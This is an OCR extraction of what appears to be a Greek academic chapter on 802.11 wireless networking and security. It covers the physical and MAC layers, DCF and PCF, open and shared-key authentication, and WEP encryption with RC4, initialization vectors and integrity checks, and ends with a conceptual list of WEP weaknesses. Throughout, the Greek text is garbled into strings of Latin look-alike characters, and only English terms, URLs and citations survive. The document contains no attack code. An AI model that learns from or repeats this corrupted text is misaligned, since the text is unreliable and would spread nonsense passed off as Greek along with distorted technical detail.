4 http://en.wikipedia.org/wiki/OSI model
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» @uotiko Emimedo (Physical Layer)

To mpoTuTo 802.11 ToL 1997 KABOPILEL TTEVTE ETMITPETOPEVEG TEXVIKEG LETASOGTG VLA TO
PUOIKO emiTedo:

= Ymépubpeg

= FHSS (Frequency Hopping Spread Spectrum®)

= DHSS (Direct Sequence Spread Spectrum®)

= OFDM (Orthogonal Frequency-Division Multiplexing?)

= HR-DSSS (High Rate Direct Sequence Spread Spectrum$)

'OAeG AUTEG oL TEXVIKEG AetTovpyoUv ae 1 1 2 Mbps Kot Le APKETA XoUNAN LoV, £TCL WOTE
va pnv mapouvotalouvv moAAES Sievetels. To 1999 mapovoldotnkay SU0 VEEG TEXVIKES YL
emitevdn vymAdTEpOL €VpoUG LwvnG. Ot TeXVIKES auTEG ovopdlovtal OFDM kot HR-DSSS.
Aertovpyolv péxptL ta 54 Mbps kot ta 11 Mbps, avtictoxa.

To @uowko emimedo elval OpoLo He To PUOLKO emimedo Tou OS], OUwG To emimedo
ouvbéouov uetadoong Sedopévwy e OAa Ta TPWTOKOAAX 802 ywpiletal o Suo N
meplocotepa vmoemimeda. 1o 802.11, To vmoeminedo MAC opilel molog Ba petadidel
kabe popa. ITavw amd autod Bpioketal o vmoeminedo LLC, SovAeld Tov omolov eivat va
KpUBeL Slapopég avapeosa oTig TapaAiayEg Tou 802.

» To entinedo oVvdeong Sedouévwyv (Data Link Layer)

To emimedo ovvdeong Sedopévwv epapudletal o 6Aoug toug 802.11 otabuovg kat
ETILTPETEL 0TO OTAONO va eyKaBIEpUEL Eva SIKTUO 1) VO CULUETEXEL O€ €V 1|0
VTIAPXOV SIKTLO KoL v UETAPEPEL BESOUEVA TIOU TIEPVOVV ATIO TO ETITIESO AOYIKY|G
ouvdeang eAéyyou (LLC).

= AuTég oL Aettoupyleg Yivovtal xpnolpomolovtag U0 pefodoug v pecLwy,
TIG VTN PECLEG aTABNWV (Station Services) KAl TI§ VTN PEGLEG TV
ocvoTnUaTwVv Stavoung (Distribution System Services). IIpv dpwg apyiocovv
VO TIPAYHATOTIOLOVVTAL 0L UTNPECieg Tou MAC eIMES OV, TPWTA TIPETEL VX
mpayuatomomBei n TpocPacn 6to acVpuato péso. To vtoéoTpwpua MAC
TAPEXEL TIG akOA0VOEG Baoikeg Asttoupyieg:Tov EAeyyo NG TpOo Ao TwV
oTaBUWVY 0TO KOO PECO PETAS0ONG.

= TnAertovpyla TG avapeTAS00MG TOU TTAKETOV.

= TnAertovpyla g emBeBaiwong Anymg.

5 http://en.wikipedia.org/wiki/Frequency-hopping spread spectrum

6 http://en.wikipedia.org/wiki/Direct-sequence spread spectrum

8 http: //www.wireless-center.net/WLANs-WPANs/1472.html
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*  Tn Aertovpyiot TOU KATAKEPUATIOHOU KAL TNG ETAVACUVAPUOAGYNONG
TOUTIKETOV.

0 HIIpooBaon mposBacth 6to AcVpuato Méco

Te éva acvpuato Siktuo elval o epimAoko va polpdlovpe TV Tpocfacn PeETalD
TV 0TABHWV SLavoung amo 0TL o€ Eva evoLpato. Autd cupfaivel emeldn evag
aoUpUATOS oTABNOG Sev elvat o BEom va aviyveloel P cUYKPOUOT) TTOU UTTOPEL va
ovuBel 0N petddoomn Tov pe TNV LETAS00T] EVOS AAAOL oTaduov. Ze éva eveUpUATO
S{xTLO glval eUKOAO VA AVLXVEUTOVV TUXOV CUYKPOUGCELS LLE TOV UNYOVIOUO carrier
Sense Multiple Access / Collision Detection (CSMA/CD)

To tpoTuTo 802.11 kaBopilel Eva aplOud amd Aertovpyies ouvtoviopov Tou MAC
eMESOL YA v cuVTOViceL TNV TPdGBaot péoov PeTald ToAAATAWY oTabuwv. H
PO ot 0To HEGO UTopEl va YIVEL lTe HECW TNG AELTOVPYIAG KATAVEUTLEVOU
ovvtoviopov (Distributed Coordination Function — DCF), eite péow tng Aettovpyiog
onpeiov cuvtoviopov (Point Coordination Function - PCF). (Comer, 2007)

Required for contention-fres

sarvices
Usod for contention sarvicoes
and basis for PC
Paint coordination
funiction (PCH

AL /

extant

¢ Distributed coordination function (DCF)

Eikova 14. H apyttektovikn tov emuréSov MAC tov 802.11
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KE®AAAIO 3: AXADPAAEIA XE AXYPMATA AIKTYA

Cevika

0L xpNoTEG VOGS AoUPUATOU SIKTUOU (PUGIKA UTTOPOVV VA EMWPEANO0UV aTo £va cwpod
TIAEOVEKTIUATA OUWS OE AUTN TNV TEPITTTWON TIOETAL EVa TIOAV GTUAVTIKO EPWOTNUC,
TOC0 ACPAANG (VAL T ETIKOWVWVIX 0€ EVH CUCTN A OTIOV TO PECO PETASOOMG TNG
TIANPO@OPLAG ElVAL O AEPAS;

EmumA£ov 1 eupeia xprion Tou SLadiktvov Yo TV SLaKiviion TIPOCsWTILKWY TIANPOQOPLOY
AVASEIKVUEL QKOO TILO TIOAU TO BEUN TG ACPAAELNG TWV SIKTVWV.

H A0om €xetnén 600t (ev pépel) pe Tig peBOS0UG TILOTOTOMOMG KAL KPUTITOYPAPNONG
TwV Se80UEVWV IOV XPTOLUOTIOLOVVTAL EVPEWS OTUEPA. ZE Eva EVEVPUATO TOTILKO SikTUO
oL ATMEAEG avTipeTwTilovTaL 0To onpeio e§680v Tipog Tov ISP pe MoALITIKES Ao PAAELNG
oToug SpoporoynTég, pe firewall kTA.

'Ouws o€ éva acVpPaTo SikTuo OAa Ta TapaTavw Sev LoyVouV. ISLOTNTES TNG AGPAAOUG
ETIKOLVWVING ATTOTEAOVV Tar AKOAOLO O

e  Emkxvpwon: pw amd v petdSoon Sedopévwy, ol kOpuPot avayvwpilovtal kat
QVTAAAGGOUV ETIIKUPWUEVA TILOTOTIOTIKA.

e  Kpumtoypd@non: Tpwv TV amooToAN VoG aoVUPUATOL TTAKETOU SeSopévwy, o
KAOE VTTOAOYLOTI|G TIOU TO GTEAVEL O TIPETEL VAL TO KPUTITOYPAPT|OEL

o Axepatdtnta: Slac@aiilel 6TL To oToLXE(D TTOV PETASISETAL SEV £XEL
TpoToTon el

e  MvuoTikoTnTA: vl 0 GPOG IOV XPNOLUOTIOLEITAL YL Vo TIEPLYpAWPEL TX

Sedouéva oV TIPOCTATEVOVTAL EVAVTLO 0TV AVAYVWON aTo avapuosia
oVUBaAAOuEVT UEPN.

3.1 EIIIKYPQOXH KAI MYXTIKOTHTA

Ztnv oucia 1 évvola NG EMKUPWONS a@opa Tov EAeyyo mpocBaone. Ia va
TPAYUATOTION|COVE TNV EMKVPWOT] TIPETEL VA ATIOKTIGOVE TIPWTA EAEYXO TIPOOLAONS
OTO €GO KAL OTT) CUYKEKPLUEVT TIEPITITWOT 0TO ACVPHATO SIKTLO. ApXIKA EAEYXOVTAL TA
Stabéopa aocVppata SikTua Kot akoAoVBwGS To SIKTVO ETMKUPWVEL TO GTAOUO KL O
oTAOUOG ETIKUPWVEL TO SiKTUO.

Ta onuela mpoécBaong o€ Eva acVPUATO SIKTLO, EKTTEUTIOVY TIEPLOSIKAE TIAKETA TIOU
ovopafovtat beacons - mAaiola Slayeiplong (VTTAPXEL OLWG KL T TIEPLTITWOT VA UNV
oteAvel beacons ylatl £xel kpu @O ssid 6oL TOTE TeEPipeveL va AGfeL aitnon yia va
amavTnoel)

Ta beacons elvat autd Ta oolo AVAKOLWVWVOUV TNV UTtapEn £vog Stktvou. To kaBe
beacon meplapfavel éva Service Set Identifier (SSID) 1 aAAlwg 6vopa Siktvov.

'Evag otabuog pmopei va emiAé€el va ouvdebel o€ éva Siktuo eite mabnTIKA gite
EVEPYNTIKA. TNV TTAONTIKY 0APWAT) 0 OTAOUOG EAEYXEL TA KAVAALX TIPOOTIABWVTAG VX
Bpel beacons amo ta onpeia TPAoBaong KoL oTNV SEVTEPT TIEPITITWOT) GTEAVEL ALTNOELG
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Stepevvnong (eite og éva ouykekpuévo SSID, eite pe to SSID pubuiopévo oto 0), og 6Aa
T KAVAALX Eva TIpoG €va. ‘OAoL oL otaBpol mpocBaong ov Aapfdvouy attioeLg
Stepevvnong Ba mpémel va oteldovv amavinon.

Ax02000w¢ 0 aTabu6S va SlaAéyel To SikTvo Tou BéAeL va cuvdedel. Tnv amd@aon
umopet va AdBeL xpnotng 1 Vo KATAAANAO0 A0YLO KO TIOU ETAEYEL BAcI{OUEVO GTNV LoXV
TOU ONUATOG 1] O€ AAAQ KPLTTPLAL.

Zto mpdtumo 802.11 £yovpe 500 E8WV TPOTOVGS EMKVPWONG, TNV ETIKUPWAT] AVOLYTOU
kA£18100 (Open System Authentication - 0SA) kat TV eMKUPWGOT HOLPATHUEVOU KAELSLOU
(Shared Key Authentication - SKA). O ota®udg mpoteivel v péBodo mKUPWONG TTOU
auTOoG emBUPE] 0TO PNVUPA TNG altnong emkUpwonG. To Siktuvo pmopel va Sextel 1 va
amoppiPeL autn TV TTPOTACT AVAAOYQ LE TIG puBUicELS aoPaAsiag.

XPNOLOTIOLWVTAG ETIKVPWAT AVOLYTOU KAELSL10U 0TIOLASTTTOTE AGVPUATY

OUOKEUN UTOPEl va emikupwBel amod To onpeio TPosfaong Opwe OxL KoL va
emkolvwvnoel. H cuokeun] pmopel va emikovwvei povo av ta WEP kAeldid g
TALPLALOLY PE QUTA TOL onpElov TTPOGBacT.

H emxOpwon potpacpuévou kAeS100 Baciletal 6To cUoTNUA TIPOCKANONG - ATIAVTNOTG.
['la va xpnopomoujoovpe auth TN HEB0SO EMKVPWOTG, TPOUTIOBETEL OTL TO OMUELD
mpdoBaong kal o otabudg eival cuppatol pe ™ Aertovpyioa WEP (Wired Equivalent
Privacy) kat 0Tt €gouv peTadl Toug £va TIPo-HoLPaoéVo KAELSL. AUuTO onpaivel 0Tt éva
Koo KAEWST TpémeL va polpaoTtel o€ GA0VG TOUG GTABUOVG IOV TOUG £XEL ETITPATIEL vl
£xovv Tpocfact oto S{KTLO, TIPLV ETIYELPTICOVV TNV SLaSIKAGIK TNG ETKVPWOTG.

3.2 KPYIITOTPA®HEIH WEP (WIRED EQUIVALENT PRIVACY)

Kpuntoypapnon kaAeitaln Stadikacio katd tnVv omola T deSopeva aAAdlovv popen -
UETOUPLECOVTAL TIPOKELUEVOU VL ETILTEVXDEL 1] AGPOATG LETAS0OT) TIATIPOPOPLWOV
(encryption, cupfoAiletaiye E). Ta Sedopéva mpLv amo tnv KpUTToypa@naon
ovoudalovtat plaintext (cupfoAifetal pe P) evw ta Sedopéva LETA TNV KPUTITOYPAPN 0T
amoteAovv To cipher text (cuppoAiletar pe C). H avtiotpopn Stadikacio HETATPOTNG
ovopdaletal amokpuntoypdgnon (decryption).

0 aAyopBpog kpumtoypa@nong 1| cipher elval n pabnpatikni akoAovbia mov
XPNOLWOTIOLELTAL YIa TNV PETaU@ieon KL aTToKAAVYT) TwV SeSouévwv. ZuviBwe ol
OAYOPLOHOL KPUTITOYPAPTOTG EUTIEPLEXOUV OKOAOVUBIEG KAELSLWV YLO VO TPOTIOTIOLT)GOUV
Ta e§ayOUEVA TOUG.

H 110 yvwotn emAoyn Tapoxns ac@AAELNS YA T ACUPUATH SIKTUN ATIO TO apXLKo
mpdoTumo 802.11 eivat to Wired Equivalent Privacy (WEP). Me tqv emtAoyn tov WEP éva
KOO KAELSL polpaletal avapeca oTo onpelo TpOcAcT KAl GTOUG AOVUPUATOUG
TEAQTEG TOV. EQv emBUUOVIE EPTILOTEVTIKOTITA, UTTIOPOVE VA XPTOLLOTIOIT) OOV E TNV
emAoy” tov WEP kol va KpuTIToypa@nooupe Ta SeS0UEVA TIPLY AUTA GTAAOVV.

To WEP yepiletal tautdypova TO00 TNV TPooTacio aAAX KoL TNV OKEPALOTNTA TWV
Sedopévwv. Me tn BonBela evog GUPUETPLKOV aAyopLlBov kpuTttoypd@nong, RC4,
ETILTUYXAVETAL 1) EUTILOTEVTIKOTTA TWV TIANPOQOPLIV TIOV PETAPEPOVTAL HEGW TOV
Swktvov.
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» Emain@gvon tavtoTnTOg

Ye éva acupuato S{KTLO, LA KWV TT] GUOKELT] TIPOKELUEVOL va ouvdeBel oTo SikTuo PEow
€vOG onuelov mpoofBaong, Ba mpémel va amodeiel Ty TavtoTTag TNG. Kdti To omolo Ba
£mpeme va yivetal kat amd to onpelo pooPacnc. Ztnv emaAnfgvon tavtottas WEP, 1
ovokeun Ba mpemeL va amodel&el 0To anpeio mpocBaong OTL yvwpilel TOV LUOTIKO KAELS(
NG KPUTITOYPAPNONG. ApX K& UTTOBAAAETAL allTn o™ ETTOATBELON G TAVTOTNTAG ATIO TNV
KLVTTT] GUOKELT] TTpOG TO onpelo pooPaong. To onpeio TpooPfaong akoAoVBws oTEAVEL
évav Tuxaio aplOuo unkovg 128 bit mpog kpuTTOYpdPNON 6TV AcVPUATN cUCKELY. O
apLlOUOG KPUTITOYPA@EITAL ATIO T1) GUOKEUN UE TO HUOTIKO KAELST WEP kot amootéAAeTal
Tiow. TéAog To onpeio TPOTLAONG EAEYXEL EAV 1] KPUTITOYPAPNON EYLVE LE TO CWOTO
KAELSL. QoT660 1) HEB0S0G U T ATOTEAEL TIOAU peYAA0 TTPOBANUA VIO TNV AOPAAELX TNG
KPUTITOYPAP1N0o1GS KaBwG Sibel TANpo@opieg o KakOBOUAOUG XPNIOTES, IOV
TAPAKOAOLOOVV TNV EMKOVWVIX TOGO TNG KPUTITOYPAPNUEVNG XAAX KAL TNG UN
KPUTITOYPA@NUEVN G TIAN pOPOPLag.

»  Katakeppatiopnog

Ye éva aocupuaTo S{KTLOo, TO TAKETO SESOUEVWV TTIOU KATAPOAVEL TTEPLEXEL TIG
KATAAANAEG TIANPO@OPIES YL TNV ATTOOTOAT TOV. TO GUYKEKPLUEVO TTAKETO SESOUEVWV
kaAeltar MSDU (Mac Service Data Unit).Ta deSopéva katagBavouv oto enimedo MAC
TOU TPOOPLOHOV KL OKOTIOG E(VAL VO TTEPACOUV GTO AELTOUPYLKO GUCTI A KAL VX
HETATEDOVV TNV KATAAANAN e@apuoyn. llapdia autd, Tpv amd autr ™ Stadikacio Ta
Sedopéva TTPETEL VA XWPLOTOVV OE LKPOTEPA KOUUATLA, VO UTIOOTEL TN Stadikacia Tou
Bpavopatiopov (fragmentation). AkoAoVBwG KAOE KOPPATL akoAoLBOEL TN Sikr| TOU
mopeia atnVv kpumtoypagnon WEP. Emopévwg to apxiko Taketo SeSopévmy xwplletat
o€ pkpotepa umvopata, MPDU (Mac Protocol Data Unit) ota omoia tpootiBevtoat kot
aAAa bytes.

> Awdvvopa Apyikomoinomng

Ta KAELSLA KPUTITOYPAPTOTG IOV XPTCLUOTIOLOVVTAL 0TV KpuTttoypd@non WEP £xouv
unkn 40 1 104 bits, woTtd00 GUYVA aKOVUE VA pAGVE Yia 68 1) 128 bits. Autd ouvufaivel
£TELST] KATIOLOL TTAPAAEITIOUV VO AVOPEPOVV Ta ETUTTAEOV 24 bits ou xpnolpomolovvTal
atd to Stavuopa apyikomoinong (Initialization Vector - IV).

To IV ovolaoTikd aAAAEL Yix KAOE TTAKETO KAl GUVSVALETAL [LE TO HUOTIKO KAELSL. To
ATOTEAEG PO AVTWV TWV §LO KpuTTOYpaPEeiTaL ‘ETol akdpa kat edv Ta apxikd SeSopéva
elvat (8o, 1 KpUTITOYPAPNUEVT] LOP@T] TOVG ElvVaL TIAVTA SLAXQOPETIKY.

To IV 8ev elvat LUOTIKO, EV GTEAVETAL OE U1 KPUTITOYPAPTIEVT] LOPET] OE KABE
UETAS00T WOTE 0 MAPUANTITNG VA Elval o€ B£0M VO ATIOKPUTITOYPAPTGEL TNV
TIANPO@OPIA XPNOLLOTIOLWVTAS TNV avTioToyn Tiun IV.

» TakAeldLa ov xpnopotnorovvral 6to WEP

Ta kAelS1d kKpUTITOYPAPMONG TTOV YXpnotpomotovvtatl oto WEP £xouv Ta akoAovba
XOPAKTNPLOTIKA:

e YtaBepo pkoc: Zuvibwe 40 1} 104 bit.

e  Ytatikd: Asv petafdAAetaln Tiur Tou KAELS100 £@doov Sev aAAGEouv oL
pubuioelg.
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e  Awxporpalopeva (shared): Téoo to onpeio mpdoBacns oo Kat ) KivnTy
OUOKEUN SLBETOVY aVTiypa@o TwV (SLwV KAELSLWV.

e YuppeTpkd: Xpriomn tov iSlov KAELS10V yia kKpuTtTOYpd@non Kat
QTIOKPUTITOYPAPNOT TWV TIANPOPOPLDV.

Topupwva pe to potuto IEEE 802.11, ) 8tdBeon Twv KAEWS1WV 6Ta onpeia
TPOGBAOTG KUL 0TS ACVPUATEG CUCKEVEG TIPETIEL VAL YIVETOL PLE AOQAAELS HEBOSOLG
AVEEAPTNTEG TOU TIPWTOKOAAOV.

H emavaypnoipomoinon tTwv KAEWSLOV eival pio aduvapia Twv KPUTTTOYPAPLIK®DV
TPWTOKOAAWV. 't autd To Adyo To WEP, £xeL pia SevTepn Katryopla KAELSLWV IOV
XPNOLUOTIOLOVVTAL YLX T (EVYAPLA ETKOLVWVLWOV. AVTA Ta KAELSLA potpddovtat Hovo
netaéV Twv 600 oTabpu®V emikovwviag. Ot dvo otabuoi potpdlovral éva KAELSI Kot
£XOUV £TOL LA OYXEOT XAPTOYPAPTOTG KAELSLOV.

O o koweg epapuoyés WEP ypnopomolovv kowva kAetdia RC4 64 bit. To
HEYAAUTEPO UEPOG TG Blopumyaviag Opws £xeL kKivnOel mpog éva 128-bit Snudcio RC4
KAel8l. To mpoTLTO 64-bit WEP Ypnopomolel éva kAeldi 40 bit (emiong

Yvwot6 wg WEP-40) to omolo cuvdeetal pe tnVv apyn evog 24- bit Staviopatog kat
Stapop@wvel To RC4 kAeldi kukAoopiag. Tnv Moy TTOU CUVTACCOTAV TA APYLKE
npotunia WEP, 1 kuBépvnon twv H.ILA €££618¢€ eploploplois 6TV KPUTITOYPAPLKT
TexvoAoyia yla To uéyedog tou KAeLS100. MOALS eyKATAAEPTNKAV OL TIEpLOpLapOl dAoL
ol Baokol KATAOKEVAOTEG EPAPUOTAV TEAKAK TO 128- bit WEP mpwtdkoAAo
xpnowomolwvtog pEyefog kAel8lov 104 bit (emiong yvwoto wg WEP-104).

‘Eva 128- bit WEP kAe18i oxe80v TAVTA ELCAYETAL ATIO TOUG XP1OTEG GOV LK
akoAovBia 26 Sekaefadikwy (faon to 16) xapaktipwyv (0-9 kat AF). K&0e
XAPAKTNPAS AVTITPOoWwTEVEL 4 bit Tou KAeLS10V. 26 Ym@la teocoapwv bit Sivouv 104
bit katn Tpoad KN Tov 24 bit IV mapdyel To TeAkd 128- bit kAel8i WEP. ‘Eva 256-bit
ovotnua WEP givat Stabéoipo amd pepikois mpounevtég, Kot 60Tiw e To 128-bit
WEP, ta 24 bit elvat yux to 1V, agrvovtag 232 mpaypatika bit yix tnv mpootaocia.
Avutd ta 232 bit elodyovtal YapakTnpLoTIKA w6 58 Sekadikol xapaktnpes. (58 x 4 =
232 pmut) + 24 IV pmurt = 256-bit kAel5t WEP.

QoTt600 To PEYEBOG TOU KAELSLOU SEV €lval 0 LOVOG OTLAVTIKOG TIEPLOPLOUOG ATPAAELAG
oe WEP. To WEP £yl apKeTa HELOVEKTUATA KoL T TpOaOeTa bit 6To kAelS{ Sev €youv
Slaitepn onpacia. H kaAvtepn dnudoia emibeon evavtia oto WEP pmopel va avaktioel
TO KAeLl8( o€ uepka SevtepdAemTa.

» Awxvoun kAewdLov

To Baocikdtepo pelovéktnua tov WEP elvat mpoBAnua g Stavouns tov kAeS1ov. Ta
HUOTIKA KOUUATLH TOU KAELSL00 WEP mpémel va polpactolv o€ 0A0ug Toug aTabpons
TLOU CUUUETEYOVV 0TO SikTVOo. To 802.11 TTPpOTUTIO, BEV PG TTAPEXEL EVA UNXOAVIOHO
TAPAYWYNGS KAELSLOU £T0L 0 KaBEvag pag TpEmeL va SaktuAoypa@el To KAeLS{ oTov 061Y0
TNG GUOKELTG 1] VI EXEL TIPOOPAOT GE GUGKEVES LUE TO XEPL
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01 5UOKOALEG EVOG TETOLOV TIPWTOKOAAOL lvat:

o Ta KAelS1d& Sev elval OUGLAGTIKA HUOTIKA, AQOV ELGAYOVTAL 0TOUG 08NYOUG
software 1) firmware otnVv acVppatn kapta. 'EToL Evag TOTIKOS Xp1)oTNG UTTOPEL
va £XEL TPOGRAOT 0TO «UUGTIKO» KAELSL.

o Edv ta kAelS1d lval TPOOITE 6TOUG XPNOTES, AUTE Ba TTPEMEL Vo aAAG{OVV
ouxva. H yvwon kAeldiwv WEP emitpémet og Evav xpriotn va @Tiaget evav 802.11
oTaOUO KAl va EAEYXEL TTAONTIKA KAL VO ATIOKPUTITOYPAWEL TNV KUKAO@oOpia
XPNOLUOTIOLWVTOG TO HUOTIKO KAELSL.

o OLETIYEIPNOELS HE HEYGAO aplOUS €E0VGLOSOTNUEVWV XPNOTWV TIPETEL VA
Snuoctevoovy To KAELSL 6TOUG TANBUOHOUG XPNOTWY KAl £ToL Sev vVPloTaTAL
TAEOV 1] KLUOTIKOTNTO» TOU KAELSLOV.

»  Twn EAéyxov Akepardtntag

H T eAéyyov akepatdotntag (Integrity Check Value - ICV) ouvelo@épel otnv amo@uyn
OTO TNV TPOTOTOM O™ TOV UNVURATOS KATA TN HeTddoon. ['evikoTtepa ot
KPUTITOYPA@NUEVA KAL [UT) KPUTITOYPAPNUEVA UNvOaTa, cuvnBieTal EAeyX0G Yl TNV
oAAayn Twv bits katd ™ uetadoon.

To oVvoAo Twv Bytes Tou UNVUPATOG CUVEV®OVOVTAL GTOV EAEYXO0 KUKALKOU TIAEOVAG OV
(Cyclic Redudancy Check - CRC). H tiun autn, uKoug teccdpwv bytes, mpootifetal 6To
TEAOG TOU TTAQLGIOV TIPLV aTtd TNV eMeEepyacia yio peTadoon.

Av adAa€el €otw Kal éva bit amo To pvupa, o TapaAnTInG B vTToAoYioEL SO PETIKN
Tiuf} CRC atd auTr) IOV HETAPEPEL O TIOUTIOG KAL EMOUEVWS B aoppiPeL To prvupa.
[TapoAo mov o €éAeyxog evtoTilel Tuxaio AaBT, Sev eival Suvatov va avayvwpioet
OKOTILUA A0, KaBwG 0 elofoAfag eival oe B€on va vtoAoyioel T véa Tiun CRC kot va
avTikataotnoeL v apxikr. To ICV Aettovpyel 0Tws to CRC, aAAd vtodoyileTal kat
g@appoletaL pv T Stadikaoia g kpumtoypa@nons. To CRC wotdoo mpootiBeTal kat

LETA T1) KPUTITOYPAPTOT).

Emopévwg o elofoAéag 8¢ pmopel va vtoAoyicel To pvuua ek véou. ‘Etot to ICV
vmoAoylleTal WG £vag oUVEVAGHOG OAWVY TWV SESOUEVWV KL TIPOKUTITEL WG LK TLUT)
uUnkoug Teccdpwv bytes, ) ool TpoatiBeTal 0TO TEAOG.

» AdyopOpog kpumtoypaenong RC4

0 aAyopiBuog RC4 ypnotpomoleitat katd T Stadikacio g kpumtoypagnons WEP. O
RC4, 6edopévou OTLXPNOLHOTIOLEITAL CWOTA, EVAL ATTAGG GTNV VAOTION 0T TOU KoL
LoxVpdG. ENUAVTIKO €lval To YeYovogs 6TL ol aduvapies Ttouv WEP Sev ogeidovtal otov (1o
Tov RC4 aAAd otov TpdTo Xprong tov péoa otov WEP.

Baoikn 6ea elvar n Snuovpyia piag tuxaiag akoAovBiag bytes, mov ovopdletal pom
kAeL810V (key stream) kal £xeL wG 0TOXO TO GUVSVAGUO TNG UE TA SeSOUEVA HETW TG
Aoy G TPGEng Tou amokAelotikov H (XOR). M onpavtiky lStotnta g XOR elvat:

A (XOR) B=C, téte C (XOR) B= A
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0 aAyopBpog RC4 skpetaAAeveTal TNV TAPATIAV®D IBLOTNTA WG EENG:
e Kpumtoypaonon: plaintext (XOR) keystream = cipher text
o Amoxpumtoypdgnon: cipher text (XOR) keystream = plaintext

H tuyaia akoAovbia kAeld100 ovopdaletal «Prevdotuayaio» S10TL Oa Ttpémel va Selyvel
Tuxaia o€ el6BoAéa aAAG Ta SUO akpa TNG (EVENG TTOV ETIKOVWVOUY B TIPETEL VA
Tapdyouv TV (Sla Tuyaia Tiun Yo kabe byte ov emeEepydlovral.

H mpa&n XOR vAomoteital TOAU eUKOAX OTIOTE, TO TLO SUGKOAO KOUUATL ATOTEAEL O
VTIOAOYLOUOG pLag KA «evdotuyaias» ponig bytes. OuolaoTIKE XPELAlOUACTE EVX
«revdotuyaio» byte yla k&Be byte Tou pnvopatog Tpog kpumtoypagnon. O RC4
TapdyeL pio por} aUTHG TG HOPPT.

» Hkpunttoypaenon

Ev oAtyoig 1 Siadikacia mov akoAovBeital avoAVETAL TAPAKATW:

[Tpwta am’ 6Aa To pLOTIKO KAELST cuvdéeTal pe To Stavuaua évapéng (IV) kat to
OTOTEAEG PO TOUG ELGAYETAL 6TOV aAyoptBuo RC4. O aAyopiBpog RC4 mapayet pia
akoAovBia kAeLSL0U keystream amo «Pevdotuyaio» bits (oo oto pnkog pe Tov apldud
bits dedopévwv mov mpémel va Staffactoiv ouv 4.

Axo0A000ws yla mpooTacia amd avapuodia tpomomoinomn Sedopévwy, e@appoletal o
OAYOPLOHOG aKEPALOTNTAG EMAV® 0T Sedopéva kal Ttapayetat to ICV. H
KPUTITOYPA @101 OAOKANPWVETAL LE TN Aoy KT TTPGEN Tou amokAsloTikoU H (XOR)
petadL ™G akoAoubiag KAELS10U kot TwVv §eSopévwy Tou petatpannkay og ICV. To
TPoilov NG Sladikaoiag eivat éva urvupua ov TeptéxeL to IV kat To KpuTToypa@nua.

Initialization Vector - IV
RC4
1pher-
P = |

Plaintext
= [ > |Xor
L::}‘ Integrity Algorithm h::;>

Integrity Check Value (ICV)

Message

Ewkova 15. H Siadikaoia tnyg kpvntoypaenons WEP

0 aAyopiBpog RC4 eivat £vag atmd TOUG OTUAVTIKOTEPOUS TIAPAYOVTES TNG
kpuntoypa@nons WEP, a@ot petapop@wvel éva cUVTOHO HUGTIKO KAELSL 0 pia
avBaipeta pokpoxpovia akoAovdia kAeLSL10U. Auti 1 HEB0S0G Kdvel amAn ) Sladikacia
Stavoun s KAEL8100, a@ov To Hovo Tov Ba Tpemel va petadobel petald Twv otabuwy
elvat To puotiko kAewdt. To Stavuopa apxlkoToinong emekTelveL TNV SLApKELA {WT)G TOV
VO TIKOU KAELSLOV.
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1t uébodog WEP Aoumdv o povo ov aAAalel avd cuxva Slaotuata eival to Stavuoua
apXKOTIONONG EVW TO HUOTIKO KAELST Tapapével Tavta (Sto. Kabe véo IV kataAnyel o
uto véa akoAovBia kAeld100. To IV pmopel va aAAGEel Tdo0 ouyva 6co kaBe MPDU kot
ETELST] AUTO EPXETAL PE TO UIVUHC, O ATTOSEKTNG Ba pmopel mavta va
OTIOKPUTITOYPAPNOEL 0TIOL0STTTOTE Pvupa. To IV Sev eival puoTikd agol Sev TapExEL
OTIOLEOOTIOTE TIATPOPOPIES YIA TO HUOTIKO KAELSL.

[l TNV AmoKpUTITOYPAPTOT) TIPETEL TO SLAVUCT A APXLKOTIOMONG VA ATTOCTAAEL pali pe
TO KPUTITOYPAPNUEVO TIAKETO. ‘OTAV 0 TTAPAANTITNG ATIOKPUTITOYPAPTOEL TO TTAKETO
vmoAoyilel Eavd TV TLUN EAEYYOL AKEPALOTNTAG KAL TN CUYKPIVEL LE AUTT| TIOU TLEPLEIXE
TO TOKETO OV TapPEAAPE. Av ot §U0 TIpEG TavTilovTal, TOTE BewpelTal OTL TO TIAKETO
elvat €ykupo.

Y€ YEVIKEG YPOAUUEG XPNOLLOTIOLOVVTAL OTATIKAE KAEWSI& urjkoug 40 bits kot evog IV
unkoug 24 bits. Neotepeg ekdooelg tov WEP vmootnpifouv kat prikog kAetd1o 104 bits
Kol pnkog IV 24 bits. To kA&l kat o IV evovovtal yla va oxnuaticovy To KAELS{ pnkoug
64 bits, 1) 128 bits avtioTola oL XpnopomoleiTal we elco80G6 Yl Tov adyoplBuo RC4.

0 aAyopiBpog RC4 eivat TOAD oMUavTIKOG TTApAyovTag Yo TV anodotikotnta tov WEP,
000V APOPAE TNV EUTILOTEVTIKOTNTA TWV SeS§0UEVWV, AoV aUTOG Elval 6Ty ovaian
UNXOVT] KPUTITOYPAPTOTG. O TTPETEL VA TOVIGOUE OTL TO HUOTIKO KAELSL elval 0TATIKO,
omote to [V elvat autod mov kabopilel kabe @opd TV Pevdotuyaia akoAovbia.
Emopévwg, o adyopiBuog RC4 eaptatat povo andé to IV. (Peikari & Fogie, 2002)

3.2.1 IPOBAHMATA TOY WEP

Ot aduvapieg touv WEP elvat moArég. MéBodol yia va nttn0ei to WEP mpokUmtouv amo
Tavtov. Mepikd amd ta mpofAnuata tov WEP mapatifevtal Toapakatw:

e To 0épa ¢ Stavoung Twv KAEWSLwV sival éva ISlaitepa evaiodnto Opa. ‘Otav
KATIOL0G ATOYXWPEL ATtd TO cVOTN A, B TTPETEL T KAELSLA va aAA&lovuv. ['a va
EMTUXEL pla eTiBeon sniffing €xel avdykn Povo Ta HUGTIKE KAELSLA T OTIO O
aAralovv omavia. To WEP ypnotpomolel ouvhBws éva nudaoio puotiko kAeldi 40
bit. H kataAANA6TnTa quToU ToU KAELSL0U Sev £xel kpLOel ISlaitepa KaAN, Yo
auTo To Adyo ToAdoi eivat autol Tov cuaTvouv T XpNoT) 128-bit kAelSiwv.

e Homdvia véa eLoaywyr] KAEWBLWV ETUTPETEL 0TOVG EMTIOEUEVOLG VA
OTIOKTNCGOUV amoOEUATA KPUTITOYPAPNUEVWY SeS0UEVWV SNAXST) HEYAAES
OUAAOYEG TWV TAXLGIWV TIOV KPUTITOYPAQOUVTAL UE TA (SLar KAELSLAL

e IIpoBAnuatiky @aivetal va gival kat 1 Stadikacia ™ emain@svong
TavtoTnTac. H emaAnbgvon tavtdtntag ompiletat og pa péBodo pdokAnong
- amoOKpLoNG. ApYIKG OTEAVETAL Pl Tu)Xaia akoAovBia bits, n omola
